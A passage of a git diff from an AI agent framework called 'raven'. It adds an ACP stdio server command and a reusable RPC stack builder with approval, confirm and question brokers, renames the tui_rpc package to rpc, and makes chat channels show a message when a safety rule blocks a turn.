return resolved + + +__all__ = ["is_within", "validate_override"] diff --git a/raven/channels/outlet.py b/raven/channels/outlet.py index 8f654d29..db1e2d8d 100644 --- a/raven/channels/outlet.py +++ b/raven/channels/outlet.py @@ -10,19 +10,44 @@ from typing import TYPE_CHECKING from raven.spine.delivery import Capabilities -from raven.spine.events import Deliverable, MediaOut, Text +from raven.spine.events import Deliverable, MediaOut, Notice, NoticeKind, Text if TYPE_CHECKING: from raven.channels.contract import Channel +# The sentence for the one notice kind a channel has to render. Written here +# rather than looked up, the same way the terminal writes its own copy: this repo +# has no i18n layer, and the wording belongs to the surface that renders it. +# +# It is the response, not a fallback for a missing detail. ``detail`` is the +# blocking tool's first error line -- it says *which* operation was stopped, and +# nothing else. Sent on its own it reduces the turn to +# "Error: User denied this command or the approval request expired", so the +# person never learns that no alternative will be attempted, and never gets the +# offer to continue with the parts that do not need it. Both are the runtime's +# controlled answer to a blocked turn, and both have to survive the trip. +_BLOCKED_SENTENCE = ( + "A safety rule stopped this operation, so the turn ended here. " + "Say the word and I will carry on with the parts that do not need it." +) + + class ChannelOutletAdapter: """Wraps a channel as an Outlet: renders Text / MediaOut by calling ``channel.send(...)``, eats the streaming / in-turn events - (StreamDelta / Reasoning / ToolEvent / Notice) — a channel is non-streaming - and shows only the final reply (edit-in-place streaming is not yet supported). + (StreamDelta / Reasoning / ToolEvent, and every Notice kind but one) — a + channel is non-streaming and shows only the final reply (edit-in-place + streaming is not yet supported). A real send failure raises, which the hub retries; eating is not failure. + ``NoticeKind.ACTION_BLOCKED`` is the exception, because it replaces the + answer instead of accompanying it: the runtime ends the turn on a safety + decision and the reply it would have sent is this notice. Eaten like the + others, the turn arrives as nothing at all -- the user asked for something, + the runtime refused, and the channel says a refusal and an empty answer with + the same silence. + The deliverable carries its target as ``source`` (the hub routes here by source.channel, so it is always set); the reply goes back to that channel / chat. reply_to threading belongs to the inbound side and is not handled here.""" @@ -37,4 +62,13 @@ async def deliver(self, out: Deliverable) -> None: await self._channel.send(out.source.chat_id, out.content) elif isinstance(out, MediaOut): await self._channel.send(out.source.chat_id, "", media=[m.path for m in out.media]) - # StreamDelta / Reasoning / ToolEvent / Notice: eaten — render-can't path. + elif isinstance(out, Notice) and out.kind is NoticeKind.ACTION_BLOCKED: + # Composed the way the terminal composes it: the sentence, then the + # line naming what was stopped. A tool can abort with nothing + # readable to say, and an empty second half would put whitespace in + # front of a person as though it were an explanation. + detail = (out.detail or "").strip() + body = f"{_BLOCKED_SENTENCE}\n{detail}" if detail else _BLOCKED_SENTENCE + await self._channel.send(out.source.chat_id, body) + # StreamDelta / Reasoning / ToolEvent / other Notice kinds: eaten — + # render-can't path. diff --git a/raven/cli/acp_commands.py b/raven/cli/acp_commands.py new file mode 100644 index 00000000..72591f07 --- /dev/null +++ b/raven/cli/acp_commands.py @@ -0,0 +1,160 @@ +"""``raven acp``: the ACP agent's process shell. + +An editor spawns this command and speaks newline-delimited JSON-RPC to its stdin +and stdout. What lives here is only the process's own business -- claiming fd 1 +for the protocol, sending the logs somewhere else, opening stdin as a stream, and +making a crash visible -- because that part has to be right before any method can +work: the only bytes on stdout must be frames. + +The protocol itself is :mod:`raven.acp.server`, which this hands the channel to. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import sys +import threading +from collections.abc import AsyncIterator + +import typer +from loguru import logger + +from raven.acp.server import install_crash_handlers, serve +from raven.acp.stdio import MAX_FRAME_BYTES, claim_stdout +from raven.cli._log_file import redirect_loguru_to_file + +_THREAD_CHUNK = 64 * 1024 + +acp_app = typer.Typer(name="acp", help="Serve Raven as an ACP agent over stdio.") + + +@acp_app.callback(invoke_without_command=True) +def acp(ctx: typer.Context) -> None: + """Serve the Agent Client Protocol on stdin/stdout.""" + if ctx.invoked_subcommand is not None: + return + try: + asyncio.run(_serve()) + except Exception as exc: + # Kept away from Typer's own handler, which renders a rich traceback with + # ``show_locals`` on -- measured at 228 lines of stderr, with the value of + # every local in every frame. stderr is the stream an ACP client displays, + # and those frames hold config objects and request payloads. The full + # traceback is in the log file, where the sink is configured not to + # annotate it with values. + logger.exception("acp: exiting on an unhandled failure") + typer.echo(f"raven acp failed: {exc}", err=True) + raise typer.Exit(code=1) from None + + +async def _serve() -> None: + """Own the stdio channel, then serve the protocol until the client closes it. + + loguru goes to a file, but fd 2 is deliberately left alone: an ACP client + surfaces its agent's stderr, and taking that away would make a crash + invisible from the side that can actually report it. What must not happen is + a write reaching fd 1, and ``claim_stdout`` is what prevents that -- a stray + ``print`` lands on stderr, where it is noise in a log rather than a frame the + client cannot decode. + """ + log_path = redirect_loguru_to_file("acp.log", retention=3, terminal_level="WARNING") + install_crash_handlers() + with claim_stdout() as out: + logger.info("acp: serving on stdio, logs at {}", log_path) + async with _open_stdin() as reader: + await serve(reader, out) + logger.info("acp: exiting") + + +@contextlib.asynccontextmanager +async def _open_stdin() -> AsyncIterator[asyncio.StreamReader]: + """A reader over fd 0, released on the way out. + + The limit bounds the reader's own buffer, which is backpressure rather than + a frame cap: framing is :func:`raven.acp.stdio.read_frames`'s own, precisely + so an oversized frame can be answered instead of raising out of the + transport. + + Two paths, because ``connect_read_pipe`` does not accept every stdin. It + refuses a regular file outright -- ``ValueError: Pipe transport is for + pipes/sockets only`` -- so ``raven acp < script.jsonl``, which is how anyone + first tries this by hand, would die with a traceback before reading a byte. + The fallback reads the descriptor on a daemon thread and feeds the same + reader, which costs a thread and gives up the transport's own backpressure + (the reader's buffer grows past its limit rather than pausing a producer that + cannot be paused) -- acceptable for the case that reaches it, which is a file + of bounded size. An editor gets a pipe and never takes this branch. + + On the pipe path the transport is closed rather than left to the garbage + collector: a dropped read transport is collected with the loop still holding + its descriptor, and the unregister that follows fails on a descriptor that is + already -1, raising somewhere with no caller to report it to. + """ + reader = asyncio.StreamReader(limit=MAX_FRAME_BYTES) + loop = asyncio.get_running_loop() + try: + transport, _ = await loop.connect_read_pipe(lambda: asyncio.StreamReaderProtocol(reader), sys.stdin) + except (ValueError, OSError) as exc: + logger.info("acp: stdin is not a pipe ({}); reading it on a thread", exc) + _spawn_stdin_feeder(reader) + yield reader + return + try: + yield reader + finally: + transport.close() + + +def _spawn_stdin_feeder(reader: asyncio.StreamReader) -> threading.Thread: + """Pump fd 0 into ``reader`` from a daemon thread. + + A daemon thread and not ``run_in_executor``. The read is blocking and cannot + be cancelled, so the outstanding call outlives whoever gave up waiting for it + -- and asyncio *waits for the default executor* when it closes the loop, which + turns that into a process that will not exit. Measured, not predicted: a test + over an idle pipe hung until it was killed. A daemon thread has no such hold + on interpreter shutdown. + + The reader is fed through ``call_soon_threadsafe`` because ``StreamReader`` is + not thread-safe: feeding it directly from here would race the loop's own + reads of the same buffer. + """ + loop = asyncio.get_running_loop() + stream = sys.stdin.buffer if hasattr(sys.stdin, "buffer") else sys.stdin + # ``read1`` and not ``read``: on a buffered stream ``read(n)`` blocks until it + # has all n bytes or sees EOF, so a stream that is merely slow would deliver + # nothing until 64 KiB had accumulated -- one frame at a time is exactly the + # traffic pattern this has to carry. ``read1`` returns whatever one raw read + # produced. The fallback is for a stream object that has no ``read1`` at all. + read = getattr(stream, "read1", None) or stream.read + + def _pump() -> None: + try: + while True: + chunk = read(_THREAD_CHUNK) + if not isinstance(chunk, bytes): + # A text-mode stdin, which happens in an embedded interpreter + # with no ``buffer`` attribute to prefer. + chunk = str(chunk).encode("utf-8") if chunk else b"" + if not chunk: + loop.call_soon_threadsafe(reader.feed_eof) + return + loop.call_soon_threadsafe(reader.feed_data, chunk) + except Exception as exc: + # A read error is EOF as far as the protocol is concerned: there is + # nothing more coming, and the frame loop should end rather than + # wait. Reported on the way past because a truncated session and a + # finished one look identical from the loop. ``feed_eof`` twice is + # harmless, which is why this needs no flag to coordinate with the + # branch above. + logger.warning("acp: reading stdin failed: {}", exc) + with contextlib.suppress(RuntimeError): + loop.call_soon_threadsafe(reader.feed_eof) + + thread = threading.Thread(target=_pump, name="acp-stdin", daemon=True) + thread.start() + return thread + + +__all__ = ["acp_app"] diff --git a/raven/cli/commands.py b/raven/cli/commands.py index 234325a0..7e68e131 100644 --- a/raven/cli/commands.py +++ b/raven/cli/commands.py @@ -118,6 +118,7 @@ def main( # Subcommand registrations # ============================================================================ +from raven.cli.acp_commands import acp_app from raven.cli.channel_commands import channels_app from raven.cli.cron_commands import cron_app from raven.cli.deep_research_commands import deep_research_app @@ -127,6 +128,7 @@ def main( from raven.cli.skill_commands import skill_app from raven.cli.trajectory_commands import trajectory_app +app.add_typer(acp_app, name="acp") app.add_typer(channels_app, name="channels") app.add_typer(cron_app, name="cron") app.add_typer(deep_research_app, name="deep-research") diff --git a/raven/cli/gateway_commands.py b/raven/cli/gateway_commands.py index 5f5a8b40..cc3e6b47 100644 --- a/raven/cli/gateway_commands.py +++ b/raven/cli/gateway_commands.py @@ -138,8 +138,8 @@ async def _deliver_question_to_channel(frame: dict, *, sources: dict, hub) -> No live source: a silent drop left the broker waiting out its whole budget on a question that was never rendered. """ + from raven.rpc.question_broker import QuestionUndeliverableError from raven.spine import Text - from raven.tui_rpc.question_broker import QuestionUndeliverableError params = frame.get("params", {}) qcid = params.get("conversation_id", "") @@ -537,7 +537,7 @@ async def on_heartbeat_execute(tasks: str) -> str: # so the live turn's real inbound Source is still in gw_sources # (keyed by conversation id) — reuse it so a topic / thread address # is exact, rather than reconstructing it from the conversation id. - from raven.tui_rpc.question_broker import QuestionBroker + from raven.rpc.question_broker import QuestionBroker async def _question_to_channel(frame: dict) -> None: await _deliver_question_to_channel(frame, sources=gw_sources, hub=gw_hub) diff --git a/raven/cli/tui_commands.py b/raven/cli/tui_commands.py index ddf518c5..00607f25 100644 --- a/raven/cli/tui_commands.py +++ b/raven/cli/tui_commands.py @@ -427,7 +427,7 @@ def _build_tui_agent_loop(): from pydantic import ValidationError from raven.providers.auth import MissingCredentialsError - from raven.tui_rpc.errors import InternalError + from raven.rpc.errors import InternalError try: from raven.agent.loop import AgentLoop @@ -575,23 +575,23 @@ async def _run_rpc_server_until_done( Returns True if handshake succeeded (system.hello was received within the deadline); False if it timed out. """ - # Lazy import: keeps tui_commands importable without pulling tui_rpc on + # Lazy import: keeps tui_commands importable without pulling rpc on # users who never touch the TUI (e.g. CLI-only workflows). - from raven.tui_rpc.approval_broker import ApprovalBroker - from raven.tui_rpc.confirm_broker import ConfirmBroker - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods import register_aligned_methods_except_system - from raven.tui_rpc.methods.system import ( + from raven.rpc.approval_broker import ApprovalBroker + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods import register_aligned_methods_except_system + from raven.rpc.methods.system import ( system_hello as _orig_hello, ) - from raven.tui_rpc.methods.system import ( + from raven.rpc.methods.system import ( system_ping, system_version, ) - from raven.tui_rpc.question_broker import QuestionBroker - from raven.tui_rpc.server import RpcServer - from raven.tui_rpc.spine import build_tui - from raven.tui_rpc.subscriptions import SubscriptionEmitter + from raven.rpc.question_broker import QuestionBroker + from raven.rpc.server import RpcServer + from raven.rpc.spine import build_tui + from raven.rpc.subscriptions import SubscriptionEmitter handshake_done = asyncio.Event() @@ -627,7 +627,7 @@ async def hello_then_signal(params: dict) -> dict: # An init crash is latched into ``build_error`` and re-raised by the # factory closure on first ``turn.send``; ``_spawn_agent_loop_task`` emits # the typed -32603 error event to the UI through the subscription emitter. - from raven.tui_rpc.errors import RpcError + from raven.rpc.errors import RpcError agent_loop = None build_error: RpcError | None = None @@ -655,7 +655,7 @@ def _agent_loop_factory(): # Wire the spine turn path: build_tui assembles the Scheduler + delivery hub # + streaming sink the turn.* handlers submit onto. Only when an agent loop # exists — otherwise turn.send surfaces the build error / -32008 itself. - from raven.tui_rpc.methods import turn as turn_module + from raven.rpc.methods import turn as turn_module turn_scheduler = None turn_ids: dict[str, str] = {} @@ -697,7 +697,7 @@ def _agent_loop_factory(): # registers everything else (cli.dispatch + setup.status + reload.mcp + # config.* + session.* + terminal.* + stubs + slash routing + turn.*). # Keeping production aligned with the umbrella means any future - # register_*_methods helper added in raven/tui_rpc/methods/__init__.py + # register_*_methods helper added in raven/rpc/methods/__init__.py # is picked up automatically — no more registration drift where new # handlers worked in the demo runner but returned -32601 in `raven tui`. dispatcher.register("system.hello", hello_then_signal) diff --git a/raven/tui_rpc/__init__.py b/raven/rpc/__init__.py similarity index 50% rename from raven/tui_rpc/__init__.py rename to raven/rpc/__init__.py index e53b7e75..6fedbd7f 100644 --- a/raven/tui_rpc/__init__.py +++ b/raven/rpc/__init__.py @@ -1,7 +1,7 @@ -"""tui_rpc package — Python <-> Node JSON-RPC bridge for the Raven TUI. +"""rpc package — Python <-> Node JSON-RPC bridge for the Raven TUI. Single source of truth for the contract lives in ``ui-tui/rpc-schema/openrpc.json``. The Pydantic v2 models in -:mod:`raven.tui_rpc.models` are hand-written counterparts kept in sync via +:mod:`raven.rpc.models` are hand-written counterparts kept in sync via ``tests/test_rpc_schema_match.py``. """ diff --git a/raven/tui_rpc/_ansi_filter.py b/raven/rpc/_ansi_filter.py similarity index 100% rename from raven/tui_rpc/_ansi_filter.py rename to raven/rpc/_ansi_filter.py diff --git a/raven/tui_rpc/_confirm_injection.py b/raven/rpc/_confirm_injection.py similarity index 97% rename from raven/tui_rpc/_confirm_injection.py rename to raven/rpc/_confirm_injection.py index bb03a503..ffa78c98 100644 --- a/raven/tui_rpc/_confirm_injection.py +++ b/raven/rpc/_confirm_injection.py @@ -29,7 +29,7 @@ import typer if TYPE_CHECKING: - from raven.tui_rpc.confirm_broker import ConfirmBroker + from raven.rpc.confirm_broker import ConfirmBroker @contextlib.contextmanager diff --git a/raven/tui_rpc/_console_injection.py b/raven/rpc/_console_injection.py similarity index 99% rename from raven/tui_rpc/_console_injection.py rename to raven/rpc/_console_injection.py index 190f9cfc..c0a74e9c 100644 --- a/raven/tui_rpc/_console_injection.py +++ b/raven/rpc/_console_injection.py @@ -11,7 +11,7 @@ $ grep -rn "from .* import console" raven/ (no matches) - $ grep -rn "Console(" raven/ | grep -v _console_injection.py | grep -v tui_rpc + $ grep -rn "Console(" raven/ | grep -v _console_injection.py | grep -v rpc raven/cli/sandbox_commands.py:19:console = Console() ← patched raven/cli/_cron_inspector.py:51:console = Console() ← patched raven/cli/channel_commands.py:31:console = Console() ← patched diff --git a/raven/tui_rpc/approval_broker.py b/raven/rpc/approval_broker.py similarity index 100% rename from raven/tui_rpc/approval_broker.py rename to raven/rpc/approval_broker.py diff --git a/raven/rpc/bootstrap.py b/raven/rpc/bootstrap.py new file mode 100644 index 00000000..df399585 --- /dev/null +++ b/raven/rpc/bootstrap.py @@ -0,0 +1,273 @@ +"""Reusable RPC stack assembly for a transport that owns its own frame sink. + +The engine half of ``tui_commands._run_rpc_server_until_done``: an AgentLoop, +the three prompt brokers, a SubscriptionEmitter, the spine scheduler and the +method registrations, minus any transport. The caller supplies ``send_frame``, +so a transport that is not a socket (a stdio protocol, a WebSocket) gets the +same engine without reimplementing the wiring. + +Why the socket path does not call this, though its shape came from there: +``RpcServer`` is constructed FROM the dispatcher and only then can provide +``send_frame``, while this function creates the dispatcher itself. Inverting +that is a change to the startup path every terminal session depends on, and it +buys nothing until a second socket transport exists. So the duplication is +deliberate and bounded, and the reason is written here rather than left for +somebody to rediscover. + +What a caller does NOT get here, and why -- so that anyone reconciling this file +with a fuller assembly elsewhere has the list rather than a diff to interpret: +a DAG progress sink, a sub-agent delivery sink and an MCP event sink (nothing on +this side sets them), the direct-chat target map (no direct chat here), and +per-connection scoping of the approval and question brokers (one process serves +one client here, so a broadcast IS the one client; scoping matters only where +several sockets share a dispatcher). +""" + +from __future__ import annotations + +import asyncio +import contextlib +from collections.abc import Awaitable, Callable +from dataclasses import dataclass +from typing import Any + +from loguru import logger + +SendFrame = Callable[[dict[str, Any]], Awaitable[None]] + + +@dataclass +class RpcStack: + """Everything a transport needs back from the assembly. + + ``build_error`` is latched rather than raised: a bad provider config must + still let the client connect and be told what is wrong, which is why the + factory closure below re-raises it on first use instead. + """ + + dispatcher: Any + emitter: Any + agent_loop: Any + build_error: Any + teardown: Callable[[], Awaitable[None]] + # The ask_user / deep-research broker. A caller that answers questions its + # own way (a protocol with an elicitation method of its own) needs the handle + # to rebind or wrap it. + question_broker: Any = None + + +async def build_rpc_stack( + send_frame: SendFrame, + *, + channel: str = "tui", + approval_responder: Any = None, +) -> RpcStack: + """Assemble dispatcher + engine wired to ``send_frame``. + + Must run inside the event loop that will serve requests: cron start and the + spine scheduler both bind to the running loop. + + ``channel`` names the delivery channel this stack's turns run on, and it has + to reach BOTH collaborators. ``build_tui`` registers its outlet under this + name and ``register_turn_methods`` stamps it on every turn it submits as + ``source.channel``; the hub routes a deliverable by that name, so passing it + to one and not the other loses every turn with no error anywhere. It is its + own channel per surface and not a shared name because session keys are + prefixed with it and the session listing filters on that prefix -- sharing + would put one surface's sessions in another's picker. + + ``approval_responder`` replaces the transport shell approvals are asked + over. The broker built here emits ``approval.request`` on the same + ``send_frame``, which is right for a client that implements that method and + useless for one that does not. Only the transport is replaced: the + classification, the one-command scope and the absence of any always-allow + state all stay where they are. The local broker is still constructed either + way, because ``approval.respond`` is registered from it and a caller + overriding the responder is not necessarily removing that method. + """ + from raven.cli.tui_commands import ( + _build_cron_callback_spine, + _build_tui_agent_loop, + _fanout_cron_missed, + ) + from raven.rpc.approval_broker import ApprovalBroker + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.errors import RpcError + from raven.rpc.methods import register_aligned_methods_except_system + from raven.rpc.methods import turn as turn_module + from raven.rpc.methods.system import register_system_methods + from raven.rpc.question_broker import QuestionBroker + from raven.rpc.spine import build_tui + from raven.rpc.subscriptions import SubscriptionEmitter + + dispatcher = Dispatcher() + emitter = SubscriptionEmitter(send_frame=send_frame) + # Three brokers rather than one: a shell approval is not a conversational + # confirmation. It binds one exact command to one turn, has dual deadlines, + # and always fails closed when the transport disappears. + confirm_broker = ConfirmBroker(send_frame=send_frame) + approval_broker = ApprovalBroker(send_frame=send_frame) + question_broker = QuestionBroker(send_frame=send_frame) + + # Eager, so a bad provider config surfaces at connect rather than on the + # first turn; latched, so the client still gets to connect and be told. + build_error: RpcError | None = None + agent_loop = None + try: + agent_loop = _build_tui_agent_loop() + except RpcError as e: + build_error = e + + # Late-bound now that the tool registry exists. deep_research goes through + # the loop rather than the tool, so a tool built later by a mid-session + # enable inherits the broker too. + if agent_loop is not None: + if (ask_tool := agent_loop.tools.get("ask_user")) is not None and hasattr(ask_tool, "set_broker"): + ask_tool.set_broker(question_broker) + agent_loop.set_deep_research_broker(question_broker) + + def _agent_loop_factory(): + if agent_loop is not None: + return agent_loop + if build_error is not None: + raise build_error + return None + + turn_scheduler = None + turn_ids: dict[str, str] = {} + turn_teardown = None + if agent_loop is not None: + from raven.cli._cron_handler import make_on_cron_job + + # The spine is built before cron is wired: a reminder submits a CRON turn + # through this scheduler, captured non-streaming and read back so the + # wrapper can fan it out as a cron.delivered event. + cron_readback: dict[str, str] = {} + turn_scheduler, _turn_hub, turn_ids, turn_teardown = build_tui( + agent_loop, + emitter, + channel=channel, + on_turn_end=turn_module.clear_active, + readback_texts=cron_readback, + approval_responder=approval_responder or approval_broker, + ) + agent_loop.subagents.set_submit(turn_scheduler.submit) + if agent_loop.cron_service is not None: + base_on_cron = make_on_cron_job( + submit=turn_scheduler.submit, + readback_texts=cron_readback, + default_channel=channel, + cron_service=agent_loop.cron_service, + ) + agent_loop.cron_service.on_job = _build_cron_callback_spine(base_on_cron, emitter) + # on_job must be wired before start(), or an immediately-firing job + # has no callback. + await agent_loop.cron_service.start() + # start() dropped past-due one-shot reminders on this runner's + # partition. A transport that reaches the runtime through here rather + # than through tui_commands would otherwise collect the drops and + # never tell anyone. + if agent_loop.cron_service.last_startup_drops: + await _fanout_cron_missed(emitter, drops=agent_loop.cron_service.last_startup_drops) + + register_system_methods(dispatcher) + register_aligned_methods_except_system( + dispatcher, + emitter=emitter, + agent_loop_factory=_agent_loop_factory, + approval_broker=approval_broker, + confirm_broker=confirm_broker, + question_broker=question_broker, + scheduler=turn_scheduler, + turn_ids=turn_ids, + build_error=build_error, + default_channel=channel, + ) + + backend_start: asyncio.Task[None] | None = None + if agent_loop is not None and agent_loop.backend is not None: + # Backgrounded because it may spawn a server and take tens of seconds; + # a first render must not wait on the memory path. + async def _start_backend() -> None: + try: + await agent_loop.backend.start() + except Exception: + logger.exception("rpc: memory backend start failed; continuing with degraded memory path") + + # Held, not fire-and-forget: teardown has to settle it before it stops + # the backend, or a client that connects and closes while EverOS is + # still starting leaves the service running behind a stack that has + # already reported itself closed -- holding the embedded index lock the + # next process needs. + backend_start = asyncio.create_task(_start_backend()) + + async def teardown() -> None: + # Pending UI waits are released before the transport goes away. + # Cancelling an approval is denial, which keeps a disconnect fail-closed; + # an ordinary confirm keeps its configured default. + confirm_broker.cancel_all() + approval_broker.cancel_all() + # The third broker on the same transport. Without this an ask_user + # outside an active Spine turn survives the disconnect and stays alive + # until the broker's own default timeout, which is ten minutes. + question_broker.cancel_all() + if agent_loop is not None and agent_loop.cron_service is not None: + try: + agent_loop.cron_service.stop() + except Exception: + logger.exception("rpc: cron stop failed; continuing shutdown") + if turn_teardown is not None: + try: + await turn_teardown() + except Exception: + logger.exception("rpc: turn spine teardown failed; continuing shutdown") + # Drain before stop, and both before returning: the drain flushes what a + # turn wrote and has not persisted, and the stop releases the embedded + # index lock the next process needs. Stopping without draining loses the + # last turn's memory writes silently. + if backend_start is not None: + # Awaited through, not cancelled, and not on a timer either. + # ``EverosBackend.start`` crosses + # ``asyncio.to_thread(_start_server_if_unlocked)``, and cancelling an + # asyncio task does not stop a worker thread that has already begun: + # the await raises while the worker goes on to write the config, + # spawn the server and write its pidfile -- after the stop that was + # meant to release the lock, and with the handover to ``on_proc`` + # skipped, so the backend does not even hold the child it just + # started. + # + # Cancelling buys nothing back for it, either. Both shipped clients + # reach this through ``asyncio.run``, whose shutdown waits on the + # default executor anyway, so the process cannot exit before that + # worker finishes no matter what happens here. A cancel only moves + # the same unavoidable wait to after ``stop``, which is precisely + # where it does damage. The start is bounded by its own budget: + # ``ensure_everos_server`` polls health for ten seconds and gives up + # early on a child that has already died. + # + # Nothing but a cancellation can come out of this await: + # ``_start_backend`` logs and swallows every exception the start + # itself raises, which is what keeps a degraded memory path from + # failing the connection. The suppression is for a caller cancelling + # teardown, not for the start. + with contextlib.suppress(asyncio.CancelledError): + await backend_start + if agent_loop is not None and agent_loop.backend is not None: + try: + await agent_loop.drain_backend_stores() + await agent_loop.backend.stop() + except Exception: + logger.exception("rpc: memory backend stop failed; continuing shutdown") + + return RpcStack( + dispatcher=dispatcher, + emitter=emitter, + agent_loop=agent_loop, + build_error=build_error, + teardown=teardown, + question_broker=question_broker, + ) + + +__all__ = ["RpcStack", "SendFrame", "build_rpc_stack"] diff --git a/raven/tui_rpc/confirm_broker.py b/raven/rpc/confirm_broker.py similarity index 100% rename from raven/tui_rpc/confirm_broker.py rename to raven/rpc/confirm_broker.py diff --git a/raven/tui_rpc/dispatcher.py b/raven/rpc/dispatcher.py similarity index 95% rename from raven/tui_rpc/dispatcher.py rename to raven/rpc/dispatcher.py index 4b64e5bd..4673776c 100644 --- a/raven/tui_rpc/dispatcher.py +++ b/raven/rpc/dispatcher.py @@ -20,7 +20,7 @@ from loguru import logger -from raven.tui_rpc.errors import ( +from raven.rpc.errors import ( INTERNAL_ERROR, INVALID_REQUEST, METHOD_NOT_FOUND, @@ -115,7 +115,7 @@ async def dispatch(self, frame: dict[str, Any]) -> dict[str, Any]: # Click/Typer can leak SystemExit even with standalone_mode=False; # treat as internal error rather than crashing the dispatcher. tb_tail = _truncate_traceback(traceback.format_exc()) - logger.warning("tui_rpc: SystemExit in handler {}: code={}", method, exc.code) + logger.warning("rpc: SystemExit in handler {}: code={}", method, exc.code) return _err_frame( frame_id, INTERNAL_ERROR, @@ -124,7 +124,7 @@ async def dispatch(self, frame: dict[str, Any]) -> dict[str, Any]: ) except Exception: tb_tail = _truncate_traceback(traceback.format_exc()) - logger.exception("tui_rpc: unhandled exception in handler {}", method) + logger.exception("rpc: unhandled exception in handler {}", method) return _err_frame( frame_id, INTERNAL_ERROR, @@ -134,7 +134,7 @@ async def dispatch(self, frame: dict[str, Any]) -> dict[str, Any]: # ----- Result validation --------------------------------------------------- if not isinstance(result, dict): - logger.error("tui_rpc: handler {} returned non-dict result", method) + logger.error("rpc: handler {} returned non-dict result", method) return _err_frame( frame_id, INTERNAL_ERROR, diff --git a/raven/tui_rpc/errors.py b/raven/rpc/errors.py similarity index 100% rename from raven/tui_rpc/errors.py rename to raven/rpc/errors.py diff --git a/raven/tui_rpc/methods/__init__.py b/raven/rpc/methods/__init__.py similarity index 80% rename from raven/tui_rpc/methods/__init__.py rename to raven/rpc/methods/__init__.py index fafe179d..2ad60441 100644 --- a/raven/tui_rpc/methods/__init__.py +++ b/raven/rpc/methods/__init__.py @@ -28,31 +28,31 @@ from typing import TYPE_CHECKING -from raven.tui_rpc.methods._stubs import register_stub_methods -from raven.tui_rpc.methods.approval import register_approval_methods -from raven.tui_rpc.methods.cli_dispatch import register_cli_methods -from raven.tui_rpc.methods.commands import register_commands_methods -from raven.tui_rpc.methods.config import register_config_methods -from raven.tui_rpc.methods.confirm import register_confirm_methods -from raven.tui_rpc.methods.model import register_model_methods -from raven.tui_rpc.methods.question import register_question_methods -from raven.tui_rpc.methods.reload import register_reload_methods -from raven.tui_rpc.methods.session import register_session_methods -from raven.tui_rpc.methods.setup import register_setup_methods -from raven.tui_rpc.methods.slash_routing import register_slash_routing_methods -from raven.tui_rpc.methods.system import register_system_methods -from raven.tui_rpc.methods.terminal import register_terminal_methods -from raven.tui_rpc.methods.turn import register_turn_methods +from raven.rpc.methods._stubs import register_stub_methods +from raven.rpc.methods.approval import register_approval_methods +from raven.rpc.methods.cli_dispatch import register_cli_methods +from raven.rpc.methods.commands import register_commands_methods +from raven.rpc.methods.config import register_config_methods +from raven.rpc.methods.confirm import register_confirm_methods +from raven.rpc.methods.model import register_model_methods +from raven.rpc.methods.question import register_question_methods +from raven.rpc.methods.reload import register_reload_methods +from raven.rpc.methods.session import register_session_methods +from raven.rpc.methods.setup import register_setup_methods +from raven.rpc.methods.slash_routing import register_slash_routing_methods +from raven.rpc.methods.system import register_system_methods +from raven.rpc.methods.terminal import register_terminal_methods +from raven.rpc.methods.turn import register_turn_methods if TYPE_CHECKING: + from raven.rpc.approval_broker import ApprovalBroker + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.errors import RpcError + from raven.rpc.methods.session import AgentLoopFactory + from raven.rpc.question_broker import QuestionBroker + from raven.rpc.subscriptions import SubscriptionEmitter from raven.spine.scheduler import Scheduler - from raven.tui_rpc.approval_broker import ApprovalBroker - from raven.tui_rpc.confirm_broker import ConfirmBroker - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.errors import RpcError - from raven.tui_rpc.methods.session import AgentLoopFactory - from raven.tui_rpc.question_broker import QuestionBroker - from raven.tui_rpc.subscriptions import SubscriptionEmitter def register_aligned_methods( @@ -66,6 +66,7 @@ def register_aligned_methods( scheduler: "Scheduler | None" = None, turn_ids: "dict[str, str] | None" = None, build_error: "RpcError | None" = None, + default_channel: str = "tui", ) -> None: """Register every aligned RPC handler on a dispatcher. @@ -81,6 +82,8 @@ def register_aligned_methods( ``confirm_broker`` is forwarded to :func:`register_confirm_methods`; ``approval_broker`` gates the shell approval response surface so callers without an interactive broker do not expose an unusable approval method. + ``default_channel`` is stamped on every turn ``turn.send`` submits and must + match the channel the delivery outlet was registered under. """ register_system_methods(dispatcher) register_aligned_methods_except_system( @@ -93,6 +96,7 @@ def register_aligned_methods( scheduler=scheduler, turn_ids=turn_ids, build_error=build_error, + default_channel=default_channel, ) @@ -107,6 +111,7 @@ def register_aligned_methods_except_system( scheduler: "Scheduler | None" = None, turn_ids: "dict[str, str] | None" = None, build_error: "RpcError | None" = None, + default_channel: str = "tui", ) -> None: """Register every aligned RPC handler EXCEPT system.* on a dispatcher. @@ -158,6 +163,11 @@ def register_aligned_methods_except_system( scheduler=scheduler, turn_ids=turn_ids, build_error=build_error, + # Has to reach BOTH collaborators. The delivery outlet is registered + # under one channel name and this stamps the name a turn is submitted + # with; the hub routes by that name, so giving it to one side and not + # the other loses every turn with no error anywhere. + default_channel=default_channel, ) # confirm.respond — needs a ConfirmBroker to resolve the pending # confirm future. Gated like turn.*: when no broker is supplied (demo diff --git a/raven/tui_rpc/methods/_stubs.py b/raven/rpc/methods/_stubs.py similarity index 95% rename from raven/tui_rpc/methods/_stubs.py rename to raven/rpc/methods/_stubs.py index cd8b8a5d..a38cccc1 100644 --- a/raven/tui_rpc/methods/_stubs.py +++ b/raven/rpc/methods/_stubs.py @@ -44,10 +44,10 @@ from typing import TYPE_CHECKING, Any -from raven.tui_rpc.errors import NotSupportedInV01Error +from raven.rpc.errors import NotSupportedInV01Error if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher # --------------------------------------------------------------------------- @@ -116,7 +116,7 @@ ), # NOTE: ``session.status`` was previously stubbed (-32012) but is now # promoted to a real handler in - # ``raven.tui_rpc.methods.slash_routing.session_status`` that delegates + # ``raven.rpc.methods.slash_routing.session_status`` that delegates # to ``cli.dispatch(["status"])``. ( "session.steer", @@ -124,9 +124,9 @@ "Edit the system prompt via config.json `agents.defaults.system_prompt`.", ), # NOTE: ``session.undo`` was previously stubbed (-32012) but is now promoted - # to a real handler in 